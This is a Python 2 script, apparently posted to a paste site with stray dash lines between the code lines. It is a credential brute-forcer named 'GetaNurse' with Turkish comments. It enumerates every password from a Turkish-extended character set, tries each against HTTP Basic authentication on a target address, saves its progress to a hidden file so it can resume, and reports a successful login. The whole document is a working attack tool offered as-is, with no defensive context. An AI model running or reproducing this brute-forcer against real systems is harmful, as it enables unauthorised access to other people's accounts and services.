-
-
#!/usr/bin/python
-
#-*- coding:utf-8 -*-
-
-
#halt yemis brute-forcer
-
#neden paylastim az da ben bilsem
-
-
import urllib2
-
import time,os
-
from httplib import BadStatusLine
-
import cPickle as pickle
-
-
class GetaNurse:
-
-
def __init__(self,addr,usr="",min=4,max=16,breath=0):
-
self.chars = unicode("0123456789aAbBcCçÇdDeEfFgGğĞhHıIiİjJkKlLmMnNoOöÖpPrRsSşŞtTuUüÜvVyYzZwWxXqQ.-_/","utf8")
-
self.usr = usr
-
self.addr = addr
-
self.min = min
-
self.max = max
-
self.breath = breath
-
self.passwd = ""
-
self.counter = []
-
-
for i in range(self.min):
-
self.counter.append(0)
-
-
getdir = os.path.dirname(__file__)
-
if os.path.isfile(getdir+"/.dataforgan.txt"):
-
f = open(getdir+"/.dataforgan.txt","rb")
-
counter = pickle.load(f)
-
f.close()
-
if counter[-1] != 0:
-
counter[-1] -= 1
-
else:
-
counter[-1] = len(self.chars) – 1
-
self.counter = counter
-
-
def count(self,i,limit):
-
b = 0
-
if not i < 0:
-
if self.counter[i] > 0 and self.counter[i] % limit == 0:
-
self.counter[i] = 0
-
self.counter[i-1] += 1
-
self.count(i-1,limit)
-
-
for a in self.counter:
-
b = b + a
-
if b == 0:
-
if not len(self.counter) > self.max:
-
self.counter.append(0)
-
else:
-
raise IOError("I’m sorry, dude.")
-
-
def force(self,passwd):
-
self.passwd = passwd
-
handler = urllib2.HTTPBasicAuthHandler()
-
handler.add_password(realm=self.addr,uri=self.addr,user=self.usr,passwd=self.passwd)
-
urlopener = urllib2.build_opener(handler)
-
urllib2.install_opener(urlopener)
-
urllib2.urlopen(self.addr)
-
-
def create(self):
-
passwd = ""
-
for i in self.counter:
-
passwd = passwd + self.chars[i]
-
self.counter[-1] += 1
-
self.count(len(self.counter)-1,len(self.chars))
-
return passwd
-
-
def run(self):
-
try:
-
self.force(passwd = self.create())
-
except IOError,e:
-
if hasattr(e,"code"):
-
if e.code != 401:
-
print e.code
-
print "%s:basic authorization?" % self.addr
-
else:
-
print "%s:%s — negative" % (self.usr,self.passwd)
-
if self.breath != 0:
-
time.sleep(self.breath)
-
self.run()
-
except BadStatusLine:
-
getdir = os.path.dirname(__file__)
-
f = open(getdir+"/.dataforgan.txt","wb")
-
pickle.dump(self.counter,f)
-
f.close()
-
print "BadStatusLine error.Restart GetaNurse."
-
print "\a"
-
else:
-
print "%s:%s — pozitive" % (self.usr,self.passwd)
-
print "that\’s all.mission completed.see you…"
-
-
x = GetaNurse(usr="username",addr="http://10.0.0.1",breath=0.1)
-
print "Wellcome to your new game. Good Luck!\nGetaNurse…\n\n\n\n\n"
-
x.run()
-